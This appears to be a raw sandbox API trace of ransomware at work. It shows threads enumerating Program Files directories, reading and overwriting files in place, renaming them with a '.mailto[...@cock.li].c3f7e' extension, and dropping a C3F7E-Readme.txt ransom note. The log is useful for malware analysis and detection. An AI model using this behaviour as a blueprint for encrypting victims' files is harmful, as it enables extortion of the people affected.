	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x944957a4
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x11081c70
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xf427b4a8
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x14c0baac
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xc99a2dc9
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xb3cf3e6a
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x8237b0c1
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x265320e6
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xea214974
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xdeddfe7b
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x30c3ae75
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x824074c8
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x31b51443
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xa52ade7e
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x296835fe
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xbce5114a
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x6cfc0a5e
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xb5acc24a
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x26b1283b
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xe722a1ec
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x521efa7d
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x40bb6452
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xc26506a9
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x864fb41a
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x7c47138e
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xa9ffa51d
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x736d05c0
	[0079.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0079.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0079.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0079.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0079.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0079.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0079.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa48
	[0079.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0079.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781620
	[0079.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0079.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0079.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4702078
	[0079.782] ReadFile (in: hFile=0x131c, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc86, lpNumberOfBytesRead=0xb68f9b0, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0xb68f9b0*=0xc86, lpOverlapped=0x0) returned 1
	[0079.782] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.782] WriteFile (in: hFile=0x131c, lpBuffer=0x4702078*, nNumberOfBytesToWrite=0xc86, lpNumberOfBytesWritten=0xb68f9ac, lpOverlapped=0x0 | out: lpBuffer=0x4702078*, lpNumberOfBytesWritten=0xb68f9ac*=0xc86, lpOverlapped=0x0) returned 1
	[0080.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0080.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4702078) returned 1
	[0080.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0080.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa48) returned 1
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781a58
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0080.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781a80
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0080.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0080.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x47175d0
	[0080.137] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.137] WriteFile (in: hFile=0x131c, lpBuffer=0x47175d0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xb68fa14, lpOverlapped=0x0 | out: lpBuffer=0x47175d0*, lpNumberOfBytesWritten=0xb68fa14*=0x101, lpOverlapped=0x0) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47175d0) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0080.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0080.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476f478
	[0080.215] wcscpy (in: _Dest=0x476f478, _Source="C:\\Program Files\\UNP\\Task.xml" | out: _Dest="C:\\Program Files\\UNP\\Task.xml") returned="C:\\Program Files\\UNP\\Task.xml"
	[0080.215] wcscat (in: _Dest=0x476f478, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Task.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Task.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.215] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Task.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xb68f9cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Task.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2af38
	[0080.215] NtSetInformationFile (FileHandle=0x131c, IoStatusBlock=0xb68f9c4, FileInformation=0x2e2af38, Length=0x98, FileInformationClass=0xa) returned 0x0
	[0080.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2af38) returned 1
	[0080.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e31bd0) returned 1
	[0080.744] NtQueryInformationFile (in: FileHandle=0x131c, IoStatusBlock=0xb68f9d8, FileInformation=0xb68f9b0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb68f9d8, FileInformation=0xb68f9b0) returned 0x0
	[0080.744] NtSetInformationFile (FileHandle=0x131c, IoStatusBlock=0xb68f9d8, FileInformation=0xb68f9b0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0080.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f478) returned 1
	[0080.745] FlushFileBuffers (hFile=0x131c) returned 1
	[0080.749] CloseHandle (hObject=0x131c) returned 1
	[0080.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dac000
	[0080.750] wcscpy (in: _Dest=0x2dac000, _Source="C:\\Program Files\\UNP\\" | out: _Dest="C:\\Program Files\\UNP\\") returned="C:\\Program Files\\UNP\\"
	[0080.750] wcscat (in: _Dest=0x2dac000, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\C3F7E-Readme.txt"
	[0080.750] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.750] CreateFileW (lpFileName="C:\\Program Files\\UNP\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x131c
	[0080.751] WriteFile (in: hFile=0x131c, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xb68f9d4, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xb68f9d4*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.752] CloseHandle (hObject=0x131c) returned 1
	[0080.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac000) returned 1
	[0080.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73228) returned 1

Thread:
	id = 241
	os_tid = 0xde4

	[0076.758] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x2d78f68
	[0076.758] wcscpy (in: _Dest=0x2d78f68, _Source="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US"
	[0076.758] wcscat (in: _Dest=0x2d78f68, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\"
	[0076.758] wcscat (in: _Dest=0x2d78f68, _Source="*" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*"
	[0076.758] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8360
	[0076.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a40
	[0076.758] wcscmp (_String1=".", _String2=".") returned 0
	[0076.758] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.758] wcscmp (_String1="..", _String2=".") returned 1
	[0076.758] wcscmp (_String1="..", _String2="..") returned 0
	[0076.758] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 1
	[0076.758] wcscmp (_String1="MsSense.exe.mui", _String2=".") returned 1
	[0076.758] wcscmp (_String1="MsSense.exe.mui", _String2="..") returned 1
	[0076.758] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 0
	[0076.758] FindClose (in: hFindFile=0x2d70a40 | out: hFindFile=0x2d70a40) returned 1
	[0076.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8360) returned 1
	[0076.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78f68) returned 1
	[0076.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b150) returned 1

Thread:
	id = 242
	os_tid = 0xb10

	[0076.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d859c8
	[0076.761] wcscpy (in: _Dest=0x2d859c8, _Source="C:\\Program Files\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US"
	[0076.761] wcscat (in: _Dest=0x2d859c8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\") returned="C:\\Program Files\\Windows Mail\\en-US\\"
	[0076.761] wcscat (in: _Dest=0x2d859c8, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\*") returned="C:\\Program Files\\Windows Mail\\en-US\\*"
	[0076.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8360
	[0076.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a40
	[0076.762] wcscmp (_String1=".", _String2=".") returned 0
	[0076.762] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.762] wcscmp (_String1="..", _String2=".") returned 1
	[0076.762] wcscmp (_String1="..", _String2="..") returned 0
	[0076.762] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b922184, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0076.762] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1
	[0076.762] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1
	[0076.762] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0076.762] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1
	[0076.762] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1
	[0076.762] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0
	[0076.762] FindClose (in: hFindFile=0x2d70a40 | out: hFindFile=0x2d70a40) returned 1
	[0076.762] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8360) returned 1
	[0076.762] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d859c8) returned 1
	[0076.762] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47304c0) returned 1

Thread:
	id = 243
	os_tid = 0x13ec

	[0076.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733c10
	[0076.763] wcscpy (in: _Dest=0x4733c10, _Source="C:\\Program Files\\Windows Security\\BrowserCore" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore") returned="C:\\Program Files\\Windows Security\\BrowserCore"
	[0076.763] wcscat (in: _Dest=0x4733c10, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\") returned="C:\\Program Files\\Windows Security\\BrowserCore\\"
	[0076.763] wcscat (in: _Dest=0x4733c10, _Source="*" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\*") returned="C:\\Program Files\\Windows Security\\BrowserCore\\*"
	[0076.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8360
	[0076.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a40
	[0076.764] wcscmp (_String1=".", _String2=".") returned 0
	[0076.764] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.764] wcscmp (_String1="..", _String2=".") returned 1
	[0076.764] wcscmp (_String1="..", _String2="..") returned 0
	[0076.764] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe", cAlternateFileName="")) returned 1
	[0076.764] wcscmp (_String1="BrowserCore.exe", _String2=".") returned 1
	[0076.764] wcscmp (_String1="BrowserCore.exe", _String2="..") returned 1
	[0076.764] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0076.764] wcscmp (_String1="en-US", _String2=".") returned 1
	[0076.764] wcscmp (_String1="en-US", _String2="..") returned 1
	[0076.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2d86ff8
	[0076.764] wcscpy (in: _Dest=0x2d86ff8, _Source="C:\\Program Files\\Windows Security\\BrowserCore" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore") returned="C:\\Program Files\\Windows Security\\BrowserCore"
	[0076.764] wcscat (in: _Dest=0x2d86ff8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\") returned="C:\\Program Files\\Windows Security\\BrowserCore\\"
	[0076.764] wcscat (in: _Dest=0x2d86ff8, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\en-US") returned="C:\\Program Files\\Windows Security\\BrowserCore\\en-US"
	[0077.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d86ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670
	[0077.245] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="")) returned 1
	[0077.245] wcscmp (_String1="manifest.json", _String2=".") returned 1
	[0077.245] wcscmp (_String1="manifest.json", _String2="..") returned 1
	[0077.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc310
	[0077.245] wcscpy (in: _Dest=0x47bc310, _Source="C:\\Program Files\\Windows Security\\BrowserCore" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore") returned="C:\\Program Files\\Windows Security\\BrowserCore"
	[0077.245] wcscat (in: _Dest=0x47bc310, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\") returned="C:\\Program Files\\Windows Security\\BrowserCore\\"
	[0077.245] wcscat (in: _Dest=0x47bc310, _Source="manifest.json" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json") returned="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json"
	[0077.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4
	[0077.246] FindNextFileW (in: hFindFile=0x2d70a40, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="")) returned 0
	[0077.246] FindClose (in: hFindFile=0x2d70a40 | out: hFindFile=0x2d70a40) returned 1
	[0077.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8360) returned 1
	[0077.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733c10) returned 1
	[0077.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733f50) returned 1

Thread:
	id = 244
	os_tid = 0x11c8

